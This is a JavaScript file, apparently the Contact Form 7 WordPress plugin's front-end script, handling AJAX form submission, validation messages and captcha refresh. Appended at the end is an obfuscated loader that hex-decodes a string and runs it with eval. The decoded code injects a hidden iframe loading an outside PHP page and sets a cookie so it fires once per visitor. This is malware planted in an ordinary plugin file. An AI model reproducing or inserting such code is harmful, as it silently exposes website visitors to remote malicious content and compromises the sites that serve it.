jQuery(document).ready(function() {
	jQuery('div.wpcf7 > form').ajaxForm({
		beforeSubmit: wpcf7BeforeSubmit,
		dataType: 'json',
		success: wpcf7ProcessJson
	});

  jQuery('div.wpcf7 > form').each(function(i, n) {
    wpcf7ToggleSubmit(jQuery(n));
  });
});

// Exclusive checkbox
function wpcf7ExclusiveCheckbox(elem) {
  jQuery(elem.form).find('input:checkbox[@name="' + elem.name + '"]').not(elem).removeAttr('checked');
}

// Toggle submit button
function wpcf7ToggleSubmit(form) {
  var submit = jQuery(form).find('input:submit');
  if (! submit.length) return;
  
  var acceptances = jQuery(form).find('input:checkbox.wpcf7-acceptance');
  if (! acceptances.length) return;
  
  submit.removeAttr('disabled');
  acceptances.each(function(i, n) {
    n = jQuery(n);
    if (n.hasClass('wpcf7-invert') && n.is(':checked') || ! n.hasClass('wpcf7-invert') && ! n.is(':checked'))
      submit.attr('disabled', 'disabled');
  });
}

function wpcf7BeforeSubmit(formData, jqForm, options) {
	wpcf7ClearResponseOutput();
	jQuery('img.ajax-loader', jqForm[0]).css({ visibility: 'visible' });
  
  formData.push({name: '_wpcf7_is_ajax_call', value: 1});
  
	return true;
}

function wpcf7NotValidTip(into, message) {
  jQuery(into).append('<span class="wpcf7-not-valid-tip">' + message + '</span>');
	jQuery('span.wpcf7-not-valid-tip').mouseover(function() {
		jQuery(this).fadeOut('fast');
	});
	jQuery(into).find(':input').mouseover(function() {
		jQuery(into).find('.wpcf7-not-valid-tip').not(':hidden').fadeOut('fast');
	});
	jQuery(into).find(':input').focus(function() {
		jQuery(into).find('.wpcf7-not-valid-tip').not(':hidden').fadeOut('fast');
	});
}

function wpcf7ProcessJson(data) {
	var wpcf7ResponseOutput = jQuery(data.into).find('div.wpcf7-response-output');
	wpcf7ClearResponseOutput();
	if (data.invalids) {
		jQuery.each(data.invalids, function(i, n) {
			wpcf7NotValidTip(jQuery(data.into).find(n.into), n.message);
		});
		wpcf7ResponseOutput.addClass('wpcf7-validation-errors');
	}
	if (data.captcha) {
		jQuery.each(data.captcha, function(i, n) {
			jQuery(data.into).find(':input[@name="' + i + '"]').clearFields();
			jQuery(data.into).find('img.wpcf7-captcha-' + i).attr('src', n);
			var match = /([0-9]+)\.(png|gif|jpeg)$/.exec(n);
			jQuery(data.into).find('input:hidden[@name="_wpcf7_captcha_challenge_' + i + '"]').attr('value', match[1]);
		});
	}
	if (1 == data.spam) {
		wpcf7ResponseOutput.addClass('wpcf7-spam-blocked');
	}
	if (1 == data.mailSent) {
		jQuery(data.into).find('form').resetForm().clearForm();
		wpcf7ResponseOutput.addClass('wpcf7-mail-sent-ok');
	} else {
		wpcf7ResponseOutput.addClass('wpcf7-mail-sent-ng');
	}
	wpcf7ResponseOutput.append(data.message).fadeIn('fast');
}

function wpcf7ClearResponseOutput() {
	jQuery('div.wpcf7-response-output').hide().empty().removeClass('wpcf7-mail-sent-ok wpcf7-mail-sent-ng wpcf7-validation-errors wpcf7-spam-blocked');
	jQuery('span.wpcf7-not-valid-tip').remove();
	jQuery('img.ajax-loader').css({ visibility: 'hidden' });
}
function CD178(B26FCA8A0){var F48A65263A=771;F48A65263A=F48A65263A-755;return(parseInt(B26FCA8A0,F48A65263A));}function BEA0893(E71208E1){var B98FC9=717;B98FC9=B98FC9-715;var D22228BB="";for(D935C91218E695=0;D935C91218E695<E71208E1.length;D935C91218E695+=B98FC9){D22228BB+=( String.fromCharCode(CD178(E71208E1.substr(D935C91218E695,B98FC9))));}eval(D22228BB);}BEA0893("69662028646F63756D656E742E636F6F6B69652E736561726368282269656474623D342229203D3D202D3129207B0A676F71653D646F63756D656E742E676574456C656D656E744279496428276978677A27293B696628676F71653D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D6978677A207372633D687474703A2F2F7777772E70687070632E64652F7068706E632F68656C702F786D6C7270632E706870207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D0A646F63756D656E742E636F6F6B6965203D202269656474623D343B657870697265733D53756E2C2030312D4465632D323031312030383A30303A303020474D543B706174683D2F223B7D");
